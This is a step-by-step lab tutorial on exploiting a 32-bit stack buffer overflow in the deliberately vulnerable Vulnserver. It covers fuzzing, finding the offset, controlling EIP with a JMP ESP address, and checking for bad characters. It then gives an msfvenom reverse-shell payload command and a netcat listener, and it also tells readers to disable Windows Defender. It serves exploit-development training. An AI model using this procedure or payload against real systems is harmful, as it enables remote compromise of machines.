During the session, I will be demonstrating how a buffer overflow vulnerability is identified and exploited. You will need the following tools: Python, Immunity Debugger, Mona Modules and Vulnserver.
The tutorial is broken down into the following:
- Setting up the Lab.
- Fuzzing (Sending bytes in increments).
- Find the offset (Finding the point where we break the program and land on the EIP).
- Overwriting the EIP.
- Omission of bad characters.
- Generating shellcode.
- Exploiting to gain reverse shell.
Setting up the lab
In order to exploit a buffer overflow we need to setup our lab. We will be using Kali Linux and MSEdge on Win10. If you haven’t already got Kali Linux, follow my recent guide on installing it. The link for the windows VM will take you to the following page:WindowsVMImage
Just select the appropriate virtualization software, and package. ‘MSEdge on Win10‘ will do fine. Import the image into the virtualization software. As I am be using VirtualBox for this tutorial, I will only be referencing VirtualBox. You may need to use Google to find out how to configure your software. If you have finished the import, you can now configure the adapter to bridged. Do this via right clicking on the imported VM > Network Settings > Bridged Adapter. Do the same with Kali Linux. We will need Internet access until we have downloaded the appropriate software.
Windows 10 – Downloading the Software
Now let’s configure the Windows Machine, download the Vulnerable Server, Immunity Debugger and the Mona Modules on the Windows 10 machine. It’s worth noting the Immunity website requires you to complete a registration form, and looks a little sketchy. It’s fine, trust me…
So why do we need all of this software? Well in order to the Windows machine to be vulnerable, we need the Vulnerable Server to be running on it. We need Immunity to take a peek into the memory addresses, which will enable us to develop the exploit. The mona modules are used as an aide for exploit development.
Your download folder on the Windows machine should now look like this:
Windows 10 – Software Installation & Configuration
The debugger is incredibly easy to install, just click on the setup.exe. During the installation process it will ask you if you want to install Python 2.7. You need to click yes for this and follow through the installation. Immunity requires python in order to run.
Unzip the ‘mona-master’ folder, what we need to do is move mona.py into the Immunity Debugger application folder. If you have followed this guide to the letter your directory should be ‘C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands’. Drop the mona.py in this folder, the pycommands folder should now look like this.
This does not require installation, however, you will want to run this as administrator every time it is launched. Just unzip the file for now.
Turn off windows defender
We will need to turn off Windows Defender for the remainder of the tutorial, because quite often when the AV notices some suspicious activity, it will terminate the process and delete the file. To do this, hit the windows key on your keyboard, type “Windows Defender”. Turn off real-time protection.e
Test the lab machines.
I would advise you attempt to ping both of the machines connected on your network. We set the adapters to bridged earlier on so the machines should now be able to ping each other.
Running VulnServer/Immunity Debugger and testing the connection.
Before to go any further, check if you can connect to your vulnerable server from the Kali Machine. Firstly run the VulnServer executable as administrator via Right Clicking > Run As Administrator
Then boot up a terminal in the Kali VM and type ‘nc -nv i.p address 9999’.
Great you should now be interacting with the vulnerable server. Type HELP to view the commands available in the vulnerable server, once you are finished playing around. We need to attach the process to vulnerable server in order to analyze it. Run Immunity Debugger as admin and attach the process
Attach the process from the list.
By default the program will be running as ‘paused’, we need to change this to running via hitting the Run button in the top left corner.
Great now the vulnerable server is running in immunity and ready to start the next step, Fuzzing.
Now what we need to do is fuzz a specific command in the vulnerable server. The command is called TRUN. How this works is we are going to send incremental data to the vulnerable server from our Kali box. The program will send a data down the channel in steps, in the attempt to crash the server.
Fuzzing Definition: “Fuzz testing (fuzzing) is a quality assurance technique used to discover coding errors and security loopholes in software, operating systems or networks. It involves inputting massive amounts of random data, called fuzz, to the test subject in an attempt to make it crash. If a vulnerability is found, a software tool called a fuzzer can be used to identify potential causes. “
On our Kali machine we need to write a little bit of code. Create a new directory using ‘mkdir BufferOverflow’, then a new file using a text editor (gedit,vim,gvim) call it fuzzing.py
Copy and paste the code below into the gedit window.
Breakdown of the code:
- First we import the sockets, sys and time libraries. We declare a buffer variable ‘A’, a hundred of them.
- The While loop is initiated, inside the while loop contains a Try statement, and the exception to the Try statement.
- Inside the Try statement we see the variable ‘s’ declared, this contains the function to declare the AF_INET (Ipv4 address) and the SOCK_STREAM (Port).
- s.connect is used to define the target IP address and port number.
- s.send tells the program what to send down the channel.
- s.close() closes the connection.
- A sleep is declared.
- The buffer variable ‘A’ is then incremented by 100.
- Print statement tells us how many bytes have been committed at the point of the crash.
Before we run the code we need to ensure it has executable permissions. Type ‘chmod 755 fuzzing.py’ into the terminal.
Now run the fuzzing code via ‘./fuzzing.py’
After a few increments the fuzzing script should crash the vulnerable server, you will notice Immunity is set to Paused. That’s great, it means we have a potential vulnerability.
Pause the python program on Kali via hitting ‘CTRL + C’. You will need to be quick for this so we can note down the moment it crashed.
We haven’t overwrote the EIP but that is fine, we can deal with that on the next step.
Finding the offset.
Now that we know roughly when the vulnserver program crashed, we can create a pattern of bytes to send through the same channel. We will want to go a little bit over the 2500 bytes, say 3000 bytes. This will enable us to drop into the EIP value.
Using the locate command, search for pattern_create.
Paste the directory into the terminal, we need to tell this script to create a pattern 3000 bytes long. We can do this via the -l parameter. (-l 3000)
Copy this code and create a new script (Below). Highlight all random text and copy it.
Now make a copy of the fuzzing.py script, but call it offset.py
You can to this via typing ‘cat fuzzing.py > offset.py’
Open the offset.py script using a text editor. We are going to remove the ‘While’, ‘Sleep’ and amend the ‘exception‘. Rename the ‘buffer’ variable to ‘offset’ and paste the random text you copied earlier. Amend the print statement exception to say “Error connecting to the server”
Your final code should look like this
Save this file. Use the chmod command to make it an executable. ‘chmod 755 offset.py’
You will need to close and reopen Immunity and Vulnserver (as admin), and reattach the process.
Don’t forget to hit the run button again on Immunity so it’s actively running.
Run the offset.py script via ‘./offset.py’
You will notice immunity has again crashed, however this time some of our random string variable has overwrote the EIP value. That’s great, it means we can now control the next stage of execution.
Do not close the Immunity Debugger as we will need the EIP value for the next stage.
Now we are going to use another module within metasploit, the pattern_offset.rb file. We need to tell it our findings. Locate the script via ‘locate pattern_offset’
Copy this location and paste it into the terminal. We will be using the ‘-q’ switch in this instance and inputting our EIP value from Immunity. Which is ‘386F4337‘
So what’s going on here? Well somewhere in the pattern we created earlier is our EIP value (386F4337) . The pattern_offset script searched through the pattern to find the exact location, in this instance at 2003 bytes. This is great because now we know at 2003 bytes we can control the EIP value. Which is exactly what we want to do.
Overwriting the EIP
So we have discovered that the offset is at 2003 bytes, what this means is there is 2003 bytes right before we get the EIP. Now we need to write another script to overwrite the EIP value. We will use 4 B’s to overwrite the EIP This is so we can see it written in the debugger, so we know we can overwrite the EIP value exactly.
Let’s use the same commands earlier to create a new python script, this time ‘cat’ the offset.py script and redirect the output to ‘eipoverwrite.py‘. We could, of course, just use the ‘cp‘ command but doing it this way helps you learn redirection 🙂
Great now open the eipoverwrite.py script using a text editor. We are going to do some code amendments again, this time we do not need to send random data through the channel. We just need to define our findings.
Rename the ‘offset’ variable to ‘eipoverwrite’. Delete the random string in the variable. Now input the information we have found out from the offset. eipoeverwrite = “A” * 2003 + “B” * 4
So why do we need 2003 A’s, then 4 B’s? The 2003 A’s get us to the point just before the EIP value. The 4 B’s are used to write into the EIP 32bit register.
The eipoverwrite.py should look like this:
Great save the script and use the chmod command again. ‘chmod 755 eippoverwrite.py’
Close and reopen Immunity Debugger and the Vulnerable server, attach the process as we have done before.
Now execute the script.
This is where things get interesting. Vulnserver should of crashed again, and now if you take a peek into the registers. We have overwritten the EIP value with our B characters. If you recall we sent 2003 A’s and 4 B’s. B is defined as 42. So if you imagine this stream written out as 2 32bit registers, it would look something like: 4141414142424242
We are nearly there folks I swear.
Finding Bad Chars
Although this is not necessary for this particular exploit. It is still an important step during the exploit development process. What you would usually be trying to do is omit any bad characters from your shellcode. Some programs may have a command which performs a function using a specific character, so we want to avoid using that character.
The first step to identifying bad characters is to create a variable containing all the potential candidates. We will remove the null-byte ‘\x00\’ as we know this is a bad character. I’ve removed it from the below.
badchars = (“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f” “\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40” “\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f” “\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f” “\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f” “\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf” “\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf” “\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”)
Let’s add this variable to a new python script.
Use the ‘cat’ command again create a new python file called badchars.py. ‘cat eipoverwrite.py > badchars.py’
Open the badchars.py script. Rename the variable ‘eipoverwrite‘ to ‘exploit’ (In preperation for the next steps). This time we will just be adding our ‘badchars’ variable above and appending it the ‘exploit’ variable. You will also need to change the variable in the ‘s.send’ function, to ‘exploit’.
Final badchars.py script should look like this:
chmod 755 the badchars file. 'chmod 755 badchars.py'
Again, close and reopen vulnserver and Immunity. Reattach the process. Hit run.
Execute the badchars code.
Take a peek into the Immunity Debugger. It should look exactly as it was on the last script, however, this time we are going to follow the ESP value in the hexdump. To do this highlight the ESP value in Immunity.
Right click and "Follow in dump".
You should now focus on the bottom-left windows. The Address-Hexdump-ASCII window.
You can see listed down is the bad characters we sent over. What we want to look out for is a missing character from our list. I will save you the time, vulnserver doesn't have any for this particular function, however, in the real world there would likely be a bad character.
How would you analyse this?
Well you would go through the HEX Dump. 01, 02, 03, 04, 05 ,06 , 07, 09. Until you found a hex in the sequence that wasn't expected. Let's say for instance the expected 09 wasn't present in the hexdump, and was replaced with different characters. Then we would know when generating our malicious shellcode (Later on), that we would need to omit this bad character.
Let's take a look at a hex dump that does have a bad character. See if you can spot it.
You can see that the B0 should not be in this dump, as the user has sent over the list of potential candidates. We should be seeing 04,05 on the top line, but instead we have B0.
That's it for bad characters. Now for memory protections.
Mona Modules - Memory Protections
Memory protections in operating systems have existed for some time now, DEP, ASLR and Safe-SEH are just a few examples. Security was't always high on the agenda for computer scientist decades ago, hence why stack based buffer overflows occur. Memory protections have been put in place since the old days to prevent malicious hackers from exploiting systems.
In order for us to determine whether the program has resources with no memory protections, we need to use the Mona module. Go back to the immunity debugger and type !mona modules into the input field at the bottom of the window.
Lot's of data appears on the screen. The main part we need to focus on is the bottom section.
This section lists which resources have memory protections or not. Look for a file which is attached to vulnserver itself, and has no protections. You can see the essfunc.dll file I have highlighted does not. This is great, we can use this. Note down the essfunc.dll.
NASM_SHELL (Converting Assembly into Hex)
The next step is to convert some assembly code into hex. In particular we want the opcode for JMP ESP. We can use a metasploit tool to generate this.
Go to your Kali machine and locate 'nasm_shell'
Copy the address for nasm_shell and paste it into the terminal, hit enter. You should now be inside the nasm_shell.
Type 'JMP ESP' and hit enter.
Note down the 'FFE4' from the results, we are going to use this in the next step.
Go back to Immunity debugger and type the following into the input field. '!mona find -s '\xff\xe4' -m essfunc.dll'
mona has found 9 pointer addresses which we could potentially use. We can see from the output they do not have any memory protection. Note down the first one. I have highlighted it below.
Note down '0x625011af'
Another code edit....
I think we have enough redirection practice so now just cp the badcars.py script and call it jump.py. 'cp badchars.py jump.py'. chmod the file as usual.
Open the jump.py script and remove the 'badchars' variable, remove the "'B' * 4 + badchars" and in it's place write out the 625011af in little endian format "\xaf\x11\x50\x62".
Final code should look like this.
Creating a breakpoint
Go back to immunity debugger as we now need to create a breakpoint in the code, so the usual steps. Opening as admin, attaching the process. Don't run it yet.
Using the icon highlighted below, the blue arrow pointing east. Click this and enter the memory address we noted down earlier. '625011af '
Press F2 on your keyboard. You should noticed the memory address highlight in blue.
Now hit the run button.
Execute the jump.py script.
Go back to Immunity. You should notice that the breakpoint we highlighted is also highlighted in the Registers section in Immunity.
Great we have the EIP register overwritten with the JUMP code. Now for generating some shellcode.
Generating Shellcode with MSFVENOM
Go back to the Kali machine and type in the following command. You should replace the LHOST value with your Kali I.P address.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.17 LPORT=4444 -f c -a x86 -b "\x00"
Using the msfvenom console we define the payload, which is a windows reverse shell (-p). We enter the I.P address for our Kali Machine (LHOST). The listening port, declaring the port we will be listening on for the incoming connection (LPORT). Format the shellcode for C language (-c). Architecture is set to x86 (-a). Finally the bad characters to omit are define (-b). This is where the bad characters comes into play, which we discussed earlier.
Creating the exploit.py script
Copy the previous script 'jump.py' using the cp command. 'cp jump.py exploit.py'
Using a text editor, open the new script and amend it as follows:
Create a new variable called 'shellcode', copy the shellcode generated from msfvenom, excluding the ';' character.
We also need to add a NOP sled.
A NOP-sled is a sequence of NOP's (no operations) instructions meant to "slide" the CPU's instruction execution flow to the next memory address. Anywhere the return address lands in the NOP-sled, it's going to slide along the buffer until it hits the start of our malicious code. NOP-values may differ per CPU, but for the specific operation system and architecture we are exploiting, the NOP-value is
Your final code should look like this:
chmod the file using 'chmod 755 exploit.py'.
Close and reopen immunity, reopen both as admin. Hit the Run button on Immunity.
The next step is start a separate terminal window with a netcat listener. You can do this via right clicking the terminal and clicking "New Terminal"
In this new window, type 'nc -nvlp 4444'. This will start the listener, awaiting a connection from our shellcode on port 4444.
Go back to the previous terminal and run the exploit code.
You should now see a shell on the netcat terminal window.
Well done you have performed a 32-bit buffer overflow and gained a reverse shell. If you type 'whoami' you can see, you are 'ieuser'